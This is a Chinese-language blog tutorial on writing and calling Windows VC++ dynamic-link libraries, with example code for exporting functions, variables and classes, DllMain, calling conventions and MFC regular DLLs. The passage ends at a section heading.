Windows下的VC++動態連結庫程式設計

inrgihc發表於2015-10-20

VC++動態連結庫程式設計

1、基礎概念

1.1 連結庫的概述

動態連結庫DLL(DynamicLinkable Library),你可以簡單的把它看成一種倉庫,它提供給你一些可以直接拿來用的變數、函式或類。在庫的發展史上經歷了“無庫-靜態連結庫-動態連結庫”的時代。靜態連結庫與動態連結庫都是共享程式碼的方式,如果採用靜態連結庫,則無論你願不願意,lib 中的指令都被直接包含在最終生成的EXE檔案中了。但是若使用DLL,該DLL不必被包含在最終EXE檔案中,EXE檔案執行時可以“動態”地引用和解除安裝這個與EXE獨立的DLL檔案。靜態連結庫和動態連結庫的另外一個區別在於靜態連結庫中不能再包含其他的動態連結庫或者靜態庫,而在動態連結庫中還可以再包含其他的動態或靜態連結庫。

對動態連結庫,我們還需建立如下概念:

(1)DLL的編制與具體的程式語言及編譯器無關

只要遵循約定的DLL介面規範和呼叫方式,用各種語言編寫的DLL都可以相互呼叫。譬如Windows提供的系統DLL(其中包括了Windows的API),在任何開發環境中都能被呼叫,不在乎其是VisualBasic、VisualC++還是Delphi。

(2)動態連結庫隨處可見

我們在Windows目錄下的system32資料夾中會看到kernel32.dll、user32.dll和gdi32.dll,windows的大多數API都包含在這些DLL中。kernel32.dll中的函式主要處理記憶體管理和程式排程;user32.dll中的函式主要控制使用者介面;gdi32.dll中的函式則負責圖形方面的操作。一般的程式設計師都用過類似MessageBox的函式,其實它就包含在user32.dll這個動態連結庫中。由此可見DLL對我們來說其實並不陌生。

(3)VC 動態連結庫的分類

VisualC++支援三種DLL,它們分別是Non-MFCDLL(非MFC動態庫)、MFC RegularDLL(MFC規則DLL)、MFC Extension DLL(MFC擴充套件DLL)。

非MFC動態庫不採用MFC類庫結構,其匯出函式為標準的C介面,能被非MFC或MFC編寫的應用程式所呼叫;MFC規則DLL包含一個繼承自CWinApp的類,但其無訊息迴圈;

MFC擴充套件DLL採用MFC的動態連結版本建立,它只能被用MFC類庫所編寫的應用程式所呼叫。

1.2 靜態庫與動態庫的區別

靜態連結庫Lib(Static Link Library),是在編譯的連結階段將庫函式嵌入到應用程式的內部。如果系統中執行的多個應用程式都包含所用到的公共庫函式,則必然造成很大的浪費。這樣即增加了連結器的負擔,也增大了可執行程式的大小,還加大了記憶體的消耗。Lib的好處是應用程式可以獨立執行,而不需要在作業系統中另外安裝對應的DLL。

而DLL採用動態連結,對公用的庫函式,系統只有一個拷貝(一般是位於系統目錄的*.DLL檔案),而且只有在應用程式真正呼叫時,才載入到記憶體。在記憶體中的庫函式,也只有一個拷貝,可供所有執行的程式呼叫。當再也沒有程式需要呼叫它時,系統會自動將其解除安裝,並釋放其所佔用的記憶體空間。參見圖1。

圖1  靜態庫函式與動態連結庫的區別

DLL的缺點是應用程式不能獨立執行,需要在作業系統中另外安裝對應的DLL。例如,如果你的MFC專案被設定成“在共享DLL中使用MFC”的,則雖然生成的可執行程式很小,但是在其他沒有安裝Visual C++(執行環境)的機器上是不能直接執行的,需要另外安裝MFC的動態連結庫(如mfc90.dll)。

1.2 靜態連結庫

對靜態連結庫的講解不是本文的重點,但是在具體講解DLL之前,通過一個靜態連結庫的例子可以快速地幫助我們建立“庫”的概念。

圖2

圖3

如圖2和圖3,使用VC++2008工具新建一個名稱為StaticLib的靜態庫工程(Win32控制檯應用程式或Win32專案均可),並新建lib.h 和lib.cpp 兩個檔案,原始碼如下:

//檔案:lib.h

#ifndef _LIB_H_

#define _LIB_H_

 

extern"C" int add(int x,int y);  //宣告為C編譯、連線方式的外部函式

 

#endif

 

//檔案:lib.cpp

#include "stdafx.h"

#include"lib.h"

 

int add(int x,int y)

{

         return x+y;

}

圖4 生成的靜態庫檔案

編譯這個工程就得到了一個.lib檔案,這個檔案就是一個函式庫,它提供了add的功能。將標頭檔案和.lib 檔案提交給使用者後,使用者就可以直接使用其中的add函式了。

下面來看看怎麼使用這個庫,在StaticLib 工程所在的工作區(解決方案)內新建一個libCall 工程。libCall 工程僅包含一個main.cpp檔案,它演示了靜態連結庫的呼叫方法,其原始碼如下:

#include<stdio.h>

#include"../StaticLib/lib.h"

#pragma comment(lib, "../debug/StaticLib.lib") //指定與靜態庫一起連線

 

int main(int argc,char*argv[])

{

         printf("2 +3=%d",add(2,3));

    return 0;

}

靜態連結庫的呼叫就是這麼簡單,或許我們每天都在用,可是我們沒有明白這個概念。程式碼中#pragmacomment(lib ,"..\debug\\StaticLib.lib")的意思是指本檔案生成的.obj檔案應與StaticLib.lib 一起連結。如果不用#pragma comment指定,則可以直接在VC++中設定,如圖5和6,依次選擇配置屬性->連結器->輸入->附加依賴項,填入庫檔案路徑和檔名。

圖5 設定連線的lib庫名稱

圖6 設定連結的lib庫所在的目錄

這個例子讓我們瞭解到:

(1)編寫庫的程式和編寫一般的程式區別不大,只是庫不能單獨執行;

(2)庫提供一些可以給別的程式呼叫的東西,別的程式要呼叫它必須以某種方式指明它要呼叫之。

1.3 庫的除錯與檢視

由於庫檔案不能單獨執行,因而在按下F5(開始debug模式執行)或CTRL+F5(執行)執行時,其彈出如圖7所示的對話方塊,要求使用者輸入可執行檔案的路徑來啟動庫函式的執行(如圖7),或者在屬性中設定可執行檔案的路徑(如圖8)。這個時候我們輸入要呼叫該庫的EXE檔案的路徑就可以對庫進行除錯了,其除錯技巧與一般應用工程的除錯一樣。

圖7 選擇可執行檔案

圖8 在屬性中設定可執行的檔案路徑

通常有比上述做法更好的除錯途徑,那就是將庫工程和應用工程(呼叫庫的工程)放置在同一VC工作區,只對應用工程進行除錯,在應用工程呼叫庫中函式的語句處設定斷點,執行後按下F11,這樣就單步進入了庫中的函式。第1.2節中的StaticLib 和LibCall工程就放在了同一工作區,其工程結構如圖9所示。

圖9 把庫工程和呼叫庫的工程放入同一工作區進行除錯

上述除錯方法對靜態連結庫和動態連結庫而言是一致的。動態連結庫中的匯出介面可以使用Visual C++的Depends工具進行檢視,讓我們用Depends開啟系統目錄中的user32.dll,看到了幾個版本的MessageBox了!

圖10 用Depends檢視user32.dll

1.3 MFC DLL的型別

使用MFC編寫的DLL,可以分成兩大類:

l 規則DLL——規則(regular)DLL中所包含的函式,可以被所有Windows應用程式使用;

n  共享MFC——DLL中不包含MFC庫函式,需要另外安裝MFC動態連結庫後才能使用;

n  靜態MFC——DLL中包含MFC庫函式,可以脫離MFC動態連結庫獨立使用。

l 擴充套件DLL——擴充套件(extension)DLL中所定義的類和函式,只能被MFC應用程式使用。而且擴充套件DLL中不能包含MFC庫函式,也需要另外安裝MFC動態連結庫後才能使用。

2、非MFC的DLL編寫

2.1 一個簡單的DLL

第1.3節給出了以靜態連結庫方式提供add函式介面的方法,接下來我們來看看怎樣用動態連結庫實現一個同樣功能的add函式。

 

圖11 新建DLL工程

如圖11,在VC++中新建一個Win32的DllTest(注意左側樹裡不要選擇MFC,因為後面將講述基於MFC的動態連結庫),在建立的工程中新增lib.h 及lib.cpp 檔案,原始碼如下:

/* 檔名:lib.h */

#ifndef _LIB_H_

#define _LIB_H_

 

#ifdef DLLTEST_EXPORTS //DllTest工程的預處理中定義

#define LIB_API  extern "C" __declspec(dllexport)

#else

#define LIB_API  extern "C" __declspec(dllimport)

#endif

 

LIB_API int add(int x,int y);

 

#endif/*_LIB_H_*/

 

/* 檔名:lib.cpp */

#include"lib.h"

 

int add(int x,int y)

{

         return x+y;

}

 

分析上述程式碼,DllTest工程中的lib.cpp 檔案與第1.3節靜態連結庫版本完全相同,不同在於lib.h 對函式add的宣告前面新增了LIB_API巨集的定義。當DLLTEST_EXPORTS這個巨集有定義時這個語句的含義是宣告函式add為DLL的extern"C" __declspec(dllexport)匯出函式,否則為extern"C" __declspec(dllimport)匯入函式。當我們在DllTest工程中新增.h和.cpp檔案的時候,VC會自動在編譯的“前處理器”中新增*_EXPORTS的定義,其中*為工程名稱,如圖12,這樣在DllTest工程內時,add就被定義成匯出函式了,當lib.h檔案給呼叫者使用時,由於呼叫者的工程中沒有該巨集的定義,所以它的add函式就被定義成了匯入函式。

圖12 *_EXPORTS巨集的定義位置

DLL內的函式分為兩種:

(1)DLL匯出函式,可供應用程式呼叫;

(2)DLL內部函式(非匯出),只能在DLL程式使用,應用程式無法呼叫它們。

2.2 DLL匯出函式

DLL中匯出函式的宣告有兩種方式:一種為2.1節例子中給出的在函式宣告中加上__declspec(dllexport),這裡不再舉例說明;另外一種方式是採用模組定義(.def) 檔案宣告,.def檔案為連結器提供了有關被連結程式的匯出、屬性及其他方面的資訊。

下面的程式碼演示了怎樣同.def檔案將函式add宣告為DLL匯出函式(需在DllTest工程中新增lib.def檔案):

; lib.def : 匯出DLL函式

LIBRARY DllTest

EXPORTS

add @ 1

.def檔案的規則為:

(1)LIBRARY語句說明.def檔案相應的DLL;

(2)EXPORTS語句後列出要匯出函式的名稱。可以在.def檔案中的匯出函式名後加@n,表示要匯出函式的序號為n(在後面進行顯示函式呼叫時,這個序號將發揮其作用);

(3).def 檔案中的註釋由每個註釋行開始處的分號(;) 指定,且註釋不能與語句共享一行。

由此可以看出,例子中lib.def檔案的含義為生成名為“DllTest”的動態連結庫,匯出其中的add函式,並指定add函式的序號為1。

2.3 DLL的呼叫方式

動態連結庫的呼叫方式包括兩種:隱式呼叫和顯式呼叫兩種。下面一一說來。

2.3.1 隱式呼叫(靜態呼叫)

隱式呼叫也被稱為靜態呼叫,是由編譯系統完成對DLL的載入和應用程式結束時DLL的解除安裝。當呼叫某DLL的應用程式結束時,若系統中還有其它程式使用該DLL,則Windows對DLL的應用記錄減1,直到所有使用該DLL的程式都結束時才釋放它。靜態呼叫方式同靜態連結庫的呼叫方式相同,特點是簡單實用,但不如動態呼叫方式靈活。

下面我們來看看靜態呼叫的例子,新增一個DllCall工程,並執行下列程式碼:

// main.cpp : 定義控制檯應用程式的入口點。

#include "stdafx.h"

#include <stdio.h>

#include "../DllTest/lib.h"

 

#pragma comment(lib,"../Debug/DllTest.lib")

 

int main(int argc,char*argv[])

{

         int result =add(2,3);

         printf("%d",result);

         return 0;

}

注意:在DLLCall工程中沒有對DLLTEST_EXPORTS巨集的定義,故add在lib.h標頭檔案中已經被定義稱為了extern"C" __declspec(dllimport)匯入函式。

2.3.2 顯式呼叫(動態呼叫)

顯式呼叫是指使用由“LoadLibrary-GetProcAddress-FreeLibrary”系統API提供的三位一體“DLL載入-DLL函式地址獲取-DLL釋放”方式,這種呼叫方式也被稱為DLL的動態呼叫。動態呼叫方式的特點是完全由程式設計者用API函式載入和解除安裝DLL,程式設計師可以決定DLL檔案何時載入或不載入,顯式連結在執行時決定載入哪個DLL檔案。

下面的程式碼展示了動態呼叫DLL中的函式add,其原始碼如下:

// main.cpp : 定義控制檯應用程式的入口點。

#include "stdafx.h"

#include<stdio.h>

#include<windows.h>

typedef int(*lpAddFun)(int, int); //巨集定義函式指標型別

 

int main(int argc,char*argv[])

{

         HINSTANCE hDll;//DLL控制程式碼

         lpAddFun addFun;//函式指標

 

         hDll=LoadLibrary("../Debug/DllTest.dll");

         if (hDll != NULL)

         {

                   addFun=(lpAddFun)GetProcAddress(hDll, "add");

                   if (addFun!= NULL)

                   {

                            int result =addFun(2,3);

                            printf("%d",result);

                   }

                   FreeLibrary(hDll);

         }

 

         return 0;

}

注意:這裡需要指定DLL檔案的路徑。

2.3.3放置DLL的目錄

為了使需要動態連結庫的應用程式可以執行,需要將DLL檔案放在作業系統能夠找到的地方。Windows作業系統查詢DLL的目錄順序為:

1.        所在目錄——當前程式的可執行模組所在的目錄,即應用程式的可執行檔案(*.exe)所在的目錄。

2.        當前目錄——程式的當前目錄。

3.        系統目錄——Windows作業系統安裝目錄的系統子目錄,如C:\Windows\ System32。可用GetSystemDirectory函式檢索此目錄的路徑。

4.        Windows目錄——Windows作業系統安裝目錄,如C:\Windows\。可用GetWindowsDirectory函式檢索此目錄的路徑。

5.        搜尋目錄——PATH環境變數中所包含的自動搜尋路徑目錄,一般包含C:\Windows\和C:\Windows\System32\等目錄。可在命令列用Path命令來檢視和設定,也可以通過(在“我的電腦”右鍵選單中選“屬性”選單項)“系統屬性”中的環境變數,來檢視或編輯“Path”系統變數和“PATH”使用者變數。

2.3.4 呼叫方式總結

由上述程式碼可以看出,靜態呼叫方式的順利進行需要完成兩個動作:

(1)告訴編譯器與DLL相對應的.lib檔案所在的路徑及檔名,#pragmacomment(lib,"../Debug/DllTest.lib")就是起這個作用。

程式設計師在建立一個DLL檔案時,聯結器會自動為其生成一個對應的.lib檔案,該檔案包含了DLL匯出函式的符號名及序號(並不含有實際的程式碼)。在應用程式裡,.lib檔案將作為DLL的替代檔案參與編譯。

(2)宣告匯入函式,extern"C" __declspec(dllimport) add(intx,inty)語句中的__declspec(dllimport)發揮這個作用,這裡是在lib.h檔案中的LIB_API巨集的定義來實現的。

靜態呼叫方式不再需要使用系統API來載入、解除安裝DLL以及獲取DLL中匯出函式的地址。這是因為,當程式設計師通過靜態連結方式編譯生成應用程式時,應用程式中呼叫的與.lib檔案中匯出符號相匹配的函式符號將進入到生成的EXE檔案中,.lib檔案中所包含的與之對應的DLL檔案的檔名也被編譯器儲存在EXE檔案內部。當應用程式執行過程中需要載入DLL檔案時,Windows將根據這些資訊發現並載入DLL,然後通過符號名實現對DLL函式的動態連結。這樣,EXE將能直接通過函式名呼叫DLL的輸出函式,就像呼叫程式內部的其他函式一樣。

2.4 DllMain函式

Windows在載入DLL的時候,需要一個入口函式,就如同控制檯或DOS程式需要main函式、WIN32程式需要WinMain函式一樣。在前面的例子中,DLL並沒有提供DllMain函式,應用工程也能成功引用DLL,這是因為Windows在找不到DllMain的時候,系統會從其它執行庫中引入一個不做任何操作的預設DllMain函式版本,並不意味著DLL可以放棄DllMain函式。

根據編寫規範,Windows必須查詢並執行DLL裡的DllMain函式作為載入DLL的依據,它使得DLL得以保留在記憶體裡。這個函式並不屬於匯出函式,而是DLL的內部函式。這意味著不能直接在應用工程中引用DllMain函式,DllMain是自動被呼叫的。

我們來看一個DllMain函式的例子:

BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call, LPVOID lpReserved)

{

         switch(ul_reason_for_call)

         {

         case DLL_PROCESS_ATTACH:

                   printf("process attach of dll\n ");

                   break;

         case DLL_THREAD_ATTACH:

                   printf("thread attach of dll\n ");

                   break;

         case DLL_THREAD_DETACH:

                   printf("thread detach of dll\n ");

                   break;

         case DLL_PROCESS_DETACH:

                   printf("process detach of dll\n ");

                   break;

         }

         return TRUE;

}

DllMain函式在DLL被載入和解除安裝時被呼叫,在單個執行緒啟動和終止時,DLLMain函式也被呼叫,

ul_reason_for_call指明瞭被呼叫的原因。原因共有4種,即PROCESS_ATTACH、PROCESS_DETACH、

THREAD_ATTACH和THREAD_DETACH,以switch語句列出。來仔細解讀一下DllMain的函式頭BOOLAPIENTRY DllMain(HANDLE hModule,WORD ul_reason_for_call,LPVOID lpReserved ):

(1) APIENTRY被定義為__stdcall,它意味著這個函式以標準Pascal的方式進行呼叫,也就是WINAPI方式;

(2) 程式中的每個DLL模組被全域性唯一的32位元組的HINSTANCE控制程式碼標識,只有在特定的程式內部有效,控制程式碼代表了DLL模組在程式虛擬空間中的起始地址。在Win32中,HINSTANCE和HMODULE的值是相同的,這兩種型別可以替換使用,這就是函式引數hModule的來歷。

(3) 執行下列程式碼:

hDll=LoadLibrary("..\\Debug\\dllTest.dll");

if (hDll != NULL)

{

addFun=(lpAddFun)GetProcAddress(hDll, MAKEINTRESOURCE(1));

//MAKEINTRESOURCE直接使用匯出檔案中的序號

if (addFun!= NULL)

{

int result =addFun(2,3);

printf("\ncall add in dll:%d",result);

}

FreeLibrary(hDll);

}

我們看到輸出順序為:

process attach of dll

call add in dll:5

process detach of dll

這一輸出順序驗證了DllMain被呼叫的時機。

程式碼中的GetProcAddress(hDll,MAKEINTRESOURCE(1) )值得留意,它直接通過.def檔案中為add函式指定的順序號訪問add函式,具體體現在MAKEINTRESOURCE( 1),MAKEINTRESOURCE是一個通過序號獲取函式名的巨集,定義為(節選自winuser.h):

#defineMAKEINTRESOURCEA(i)(LPSTR)((DWORD)((WORD)(i)))

#defineMAKEINTRESOURCEW(i)(LPWSTR)((DWORD)((WORD)(i)))

 

#ifdefUNICODE

#defineMAKEINTRESOURCE MAKEINTRESOURCEW

#else

#defineMAKEINTRESOURCE MAKEINTRESOURCEA

2.4 __stdcall約定

如果通過VC++編寫的DLL欲被其他語言編寫的程式呼叫,應將函式的呼叫方式宣告為__stdcall方式,WINAPI都採用這種方式,而C/C++預設的呼叫方式卻為__cdecl。__stdcall方式與__cdecl對函式名最終生成符號的方式不同。若採用C編譯方式(在C++中需將函式宣告為extern"C"),__stdcall呼叫約定在輸出函式名前面加下劃線,後面加“@”符號和引數的位元組數,形如_functionname@number;而__cdecl呼叫約定僅在輸出函式名前面加下劃線,形如_functionname。Windows程式設計中常見的幾種函式型別宣告巨集都是與__stdcall和__cdecl有關的(節選自windef.h):

#define CALLBACK__stdcal  l//這就是傳說中的回撥函式

#define WINAPI__stdcall   //這就是傳說中的WINAPI

#define WINAPIV__cdecl

#define APIENTRY WINAPI  //DllMain的入口就在這裡

#define APIPRIVATE __stdcall

#define PASCAL __stdcall

在lib.h 中,應這樣宣告add函式:

int __stdcall add(int x,int y);

在應用工程中函式指標型別應定義為:

typedef int(__stdcall *lpAddFun)(int,int);

若在lib.h 中將函式宣告為__stdcall呼叫,而應用工程中仍使用typedefint (*lpAddFun)(int,int),執行時將發生錯誤(因為型別不匹配,在應用工程中仍然是預設的__cdecl呼叫),彈出如圖12所示的對話方塊。

圖13呼叫約定不匹配時的執行錯誤

圖13中的那段話實際上已經給出了錯誤的原因,即“This is usually are result of …”。

2.5 DLL匯出變數

DLL定義的全域性變數可以被呼叫程式訪問;DLL也可以訪問呼叫程式的全域性資料,我們來看看在應用工程中引用DLL中變數的例子。

/* 檔名:lib.h */

#ifndef _LIB_H_

#define _LIB_H_

 

extern int dllGlobalVar;

 

#endif /*_LIB_H_*/

 

/* 檔名:lib.cpp */

#include"lib.h"

#include<windows.h>

int dllGlobalVar;

 

BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)

{

switch(ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

dllGlobalVar=100;//dll被載入時,賦全域性變數為100

break;

case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:

case DLL_PROCESS_DETACH:

break;

}

return TRUE;

}

 

;檔名:lib.def,在DLL中匯出變數

LIBRARY "DllTest"

EXPORTS

dllGlobalVar DATA

;dllGlobalVar CONSTANT

 

從lib.h 和lib.cpp 中可以看出,全域性變數在DLL中的定義和使用方法與一般的程式設計是一樣的。若要匯出某全域性變數,我們需要在.def檔案的EXPORTS後新增:

變數名 CONSTANT   //過時的方法

變數名 DATA       //VC++提示的新方法

 

在主函式中引用DLL中定義的全域性變數:

#include<stdio.h>

 

#pragmacomment(lib,"DllTest.lib")

extern int dllGlobalVar;

 

int main(intargc,char*argv[])

{

printf("%d", *(int*)dllGlobalVar);

*(int*)dllGlobalVar=1;

printf("%d", *(int*)dllGlobalVar);

return 0;

}

特別要注意的是用extern int dllGlobalVar宣告所匯入的並不是DLL中全域性變數本身,而是其地址,應用程式必須通過強制指標轉換來使用DLL中的全域性變數。這一點,從*(int*)dllGlobalVar可以看出。因此在採用這種方式引用DLL全域性變數時,千萬不要進行這樣的賦值操作:

dllGlobalVar=1;

其結果是dllGlobalVar指標的內容發生變化,程式中以後再也引用不到DLL中的全域性變數了。在應用工程中引用DLL中全域性變數的一個更好方法是:

#include<stdio.h>

 

#pragma comment(lib,"DllTest.lib")

extern int _declspec(dllimport) dllGlobalVar;  //_declspec(dllimport)匯入

 

int main(intvargc,char*vargv[])

{

printf("%d", dllGlobalVar);

dllGlobalVar=1;   //這裡就可以直接使用, 無須進行強制指標轉換

printf("%d", dllGlobalVar);

return 0;

}

通過_declspec(dllimport)方式匯入的就是DLL中全域性變數本身而不再是其地址了,故建議採用如下的標頭檔案定義方式:

/* 檔名:lib.h */

#ifndef _LIB_H_

#define _LIB_H_

 

#ifdef DLLTEST_EXPORTS

#define LIB_API  extern "C" __declspec(dllexport)

#else

#define LIB_API  extern "C" __declspec(dllimport)

#endif

 

LIB_API int dllGlobalVar;

 

#endif/*_LIB_H_*/

 

2.6 DLL匯出類

DLL中定義的類可以在應用工程中使用。下面的例子裡,我們在DLL中定義了point類,並在應用工程中引用了它。

/*Point.h檔案:類Point的宣告*/

#ifndef _POINT_H_

#define _POINT_H_

 

#ifdef DLLTEST_EXPORTS

#define CLASS_EXPORT __declspec(dllexport)

#else

#define CLASS_EXPORT __declspec(dllimport)

#endif /*DLLTEST_EXPORTS*/

 

class CLASS_EXPORT Point

{

public:

         float y;

         float x;

 

public:

         Point(void);

         ~Point(void);

 

         Point(float xx,float yy);

};

 

#endif /*_POINT_H_*/

 

/*Point.cpp類的實現檔案*/

#include "Point.h"

 

Point::Point(void)

:x(0.),y(0.)

{

}

 

Point::~Point(void)

{

}

 

Point::Point(float xx,float yy)

:x(xx),y(yy)

{

}

 

類在工程中的使用,新增一個DllCall工程,寫入如下程式碼:

// main.cpp : 定義控制檯應用程式的入口點。

#include "stdafx.h"

#include <stdio.h>

#include "../DllTest/Point.h"

 

#pragma comment(lib,"../Debug/DllTest.lib")

 

int main(int argc,char*argv[])

{

         Point p(1,2);

         printf("p.x=%f,p.y=%f\n",p.x,p.y);

 

         return 0;

}

從上述原始碼可以看出,由於在Point.h檔案程式碼中定義了巨集DLLTEST_EXPORTS,故CLASS_EXPORT被定義為_declspec(dllexport),所以在DLL的類宣告實際上為:

class _declspec(dllexport) point   //匯出類point

{

}

而在應用工程DllCall中沒有定義DLLTEST_EXPORTS,故CLASS_EXPORT被定義為__declspec(dllimport),所以DLL中引入的類宣告為:

class _declspec(dllimport) point   //匯入類point

{

}

不錯,正是通過DLL中的

class _declspec(dllexport) class_name  //匯出類point

{

}

與應用程式中的

class _declspec(dllimport) class_name  //匯入類

{

}

匹對來完成類的匯出和匯入的!

2.7 DLL總結

由上述可見,應用工程中幾乎可以看到DLL中的一切,包括函式、變數以及類,這就是DLL所要提供的強大能力。只要DLL釋放這些介面,應用程式使用它就將如同使用本工程中的程式一樣!

3、MFC規則DLL編寫

3.1 MFC規則DLL概述

使用MFC編寫的規則DLL,雖然只能匯出函式而不能匯出整個類,但是其匯出的函式卻可以其他被非MFC應用程式所呼叫。下面我們仍通過上面的四則運算的例子,看看如何用關鍵字__declspec(dllexport)和extern "C"來編寫和使用匯出若干(全域性)C函式的規則MFC DLL。

MFC規則DLL的概念體現在兩方面:

(1)它是MFC的

“是MFC的”意味著可以在這種DLL的內部使用MFC;

(2)它是規則的

“是規則的”意味著它不同於MFC擴充套件DLL,在MFC規則DLL的內部雖然可以使用MFC,但是其與應用程式的介面不能是MFC。而MFC擴充套件DLL與應用程式的介面可以是MFC,可以從MFC擴充套件DLL中匯出一個MFC類的派生類。

Regular DLL能夠被所有支援DLL技術的語言所編寫的應用程式呼叫,當然也包括使用MFC的應用程式。在這種動態連線庫中,包含一個從CWinApp繼承下來的類,DllMain函式則由MFC自動提供。

Regular DLL分為兩類:

(1)靜態連結到MFC的規則DLL

靜態連結到MFC的規則DLL與MFC庫(包括MFC擴充套件DLL)靜態連結,將MFC庫的程式碼直接生成在.dll檔案中。在呼叫這種DLL的介面時,MFC使用DLL的資源。因此,在靜態連結到MFC的規則DLL中不需要進行模組狀態的切換。使用這種方法生成的規則DLL其程式較大,也可能包含重複的程式碼。

(2)動態連結到MFC的規則DLL

動態連結到MFC的規則DLL可以和使用它的可執行檔案同時動態連結到MFCDLL和任何MFC擴充套件DLL。在使用了MFC共享庫的時候,預設情況下,MFC使用主應用程式的資源控制程式碼來載入資源模板。這樣,當DLL和應用程式中存在相同ID的資源時(即所謂的資源重複問題),系統可能不能獲得正確的資源。因此,對於共享MFCDLL的規則DLL,我們必須進行模組切換以使得MFC能夠找到正確的資源模板。

我們可以在Visual C++中設定MFC規則DLL是靜態連結到MFC DLL還是動態連結到MFC DLL。如圖14。

圖14 連結到MFC的方式

3.2 MFC的DLL函式匯出

使用MFC建立DLL時,從專案中匯出(export)函式到DLL檔案的方法有:

l 使用模組定義檔案(.def)。

l 使用__declspec(dllexport)關鍵字或其替代巨集AFX_EXT_CLASS。

這兩種方法是互斥的,對每個函式只需用一種方法即可。另外,DEF檔案只能用來匯出函式,不能用於匯出整個類。匯出C++類,必須用__declspec(dllexport)關鍵字或其替代巨集AFX_EXT_CLASS。

1.DEF檔案

同2.2節,模組定義(moduledefinition)檔案(.def)是包含一個或多個描述DLL各種屬性的模組語句的文字檔案。DEF檔案必須至少包含下列模組定義語句:

l 檔案中的第一個語句必須是LIBRARY語句。此語句將.def檔案標識為屬於DLL。LIBRARY語句的後面是DLL的名稱(預設為DLL專案名)。連結器將此名稱放到DLL的匯入庫中。

l EXPORTS語句列出名稱,可能的話還會列出DLL匯出函式的序號值。通過在函式名的後面加上@符和一個數字,給函式分配序號值。當指定序號值時,序號值的範圍必須是從1到N,其中N是DLL匯出函式的個數。

即,DEF檔案的格式為:(在這兩個語句之間,還可以加上可選的描述語句:DESCRIPTION "庫描述串"。分號;後的文字內容行為註釋)

; 庫名.def

LIBRARY 庫名

EXPORTS

         函式名1           @1

         函式名2           @2

         ……

         函式名n           @n

在使用MFC DLL嚮導建立MFC DLL專案時,VC會自動建立一個與專案同名但沒有任何函式匯出項的DEF檔案(專案名.def),格式為:

; 專案名.def : 宣告 DLL 的模組引數。

LIBRARY      "專案名"

EXPORTS

    ; 此處可以是顯式匯出

例如,專案名為RegDll的DEF檔案(RegDll.def)的內容為:

; RegDll.def : 宣告 DLL 的模組引數。

LIBRARY     "RegDll"

EXPORTS

; 此處可以是顯式匯出

如果生成擴充套件DLL並使用.def檔案匯出,則將下列程式碼放在包含匯出類的標頭檔案的開頭和結尾:

#undef AFX_DATA

#define AFX_DATA AFX_EXT_DATA

// <你的標頭檔案體>

#undef AFX_DATA

#define AFX_DATA

這些程式碼行確保內部使用的MFC變數或新增到類的變數是從擴充套件DLL匯出(或匯入)的。例如,當使用DECLARE_DYNAMIC派生類時,該巨集擴充套件以將CRuntimeClass成員變數新增到類。省去這四行程式碼可能會導致不能正確編譯或連結DLL,或在客戶端應用程式連結到DLL時導致錯誤。

當生成DLL時,連結器使用.def檔案建立匯出(.exp)檔案和匯入庫(.lib)檔案。然後,連結器使用匯出檔案生成DLL檔案。隱式連結到DLL的可執行檔案在生成時連結到匯入庫。請注意,MFC本身就是使用.def檔案從MFCx0.dll匯出函式和類的。

2.關鍵字或巨集

除了使用DEF檔案來匯出函式外,還可以在源程式中使用__declspec(dllexport)關鍵字或其替代巨集AFX_EXT_CLASS:

#define AFX_EXT_CLASS  AFX_CLASS_EXPORT(定義在標頭檔案afxv_dll.h中)

#define AFX_CLASS_EXPORT  __declspec(dllexport) (定義在標頭檔案afxver_.h中)

來匯出函式和整個C++類。

具體的格式為:

l 匯出整個類:

class AFX_EXT_CLASS 類名[ : public基類]

{

         ……

}

l 匯出類的成員函式:

class 類名[ : public基類]

{

         AFX_EXT_CLASS 返回型別 函式名1(……) ;

         AFX_EXT_CLASS 返回型別 函式名2(……) ;

         ……

}

l 匯出外部C格式的(全域性)函式:

extern "C" __declspec(dllexport) 返回型別 函式名(……)

{

         ……

}

如果希望用MFC(C++)編寫的規則DLL中的函式,也能夠被非MFC程式來呼叫,需要為函式宣告指定extern "C"。不然,C++編譯器會使用C++型別安全命名約定(也稱作名稱修飾)和C++呼叫約定(使用此呼叫約定從C呼叫會很困難)。

為了使用方便,可以定義巨集:

#define DllExport extern "C" __declspec(dllexport)

然後再使用它,例如:

DllExport int Add(int d1, int d2) {……}

3.3 MFC規則DLL的建立

我們來一步步講述使用MFC嚮導建立MFC規則DLL的過程。建立一個名為RegDll的規則DLL的“Visual C++”之“MFC”的“MFC DLL”專案,注意需選中“建立解決方案的目錄”核取方塊,參見圖15。

圖15  新建MFC DLL專案RegDll的對話方塊

 

按“確定”鈕,彈出“MFC DLL嚮導”對話方塊。在“DLL型別”欄中,選中“使用共享MFC DLL的規則DLL”單選鈕,參見圖16。按“完成”鈕,建立RegDll解決方案和專案。

圖16  選擇規則DLL的MFC DLL嚮導對話方塊

1區域處也可以選擇“帶靜態連結MFC的規則DLL”,差別是所生成的DLL中會包含MFC庫,當然所生成的庫檔案也會大一些(但因此可不用另外安裝MFC動態連結庫)。例如,在此例中,選共享MFC所生成的RegDll.dll檔案只有13KB大,而選擇靜態MFC的則有199KB。

規則DLL專案是使用共享MFC還是使用靜態MFC,也可以在生成DLL專案之後,通過專案屬性對話方塊的“配置屬性->常規”頁中的“MFC的使用”欄中的下拉式列表選項來切換,這一點與普通MFC應用程式專案的類似。

2區選擇是否支援automation(自動化)技術,automation允許使用者在一個應用程式中操縱另外一個應用程式或元件。例如,我們可以在應用程式中利用MicrosoftWord或MicrosoftExcel的工具,而這種使用對使用者而言是透明的。自動化技術可以大大簡化和加快應用程式的開發。

3區選擇是否支援Windows Sockets,當選擇此專案時,應用程式能在TCP/IP網路上進行通訊。CWinApp派生類的InitInstance 成員函式會初始化通訊端的支援,同時工程中的StdAfx.h檔案會自動include <AfxSock.h>標頭檔案。新增socket通訊支援後的InitInstance成員函式如下:

BOOL CRegularDllApp::InitInstance()

{

if(!AfxSocketInit())

{

AfxMessageBox(IDP_SOCKETS_INIT_FAILED);

returnFALSE;

}

returnTRUE;

}

3.4一個簡單的MFC規則DLL

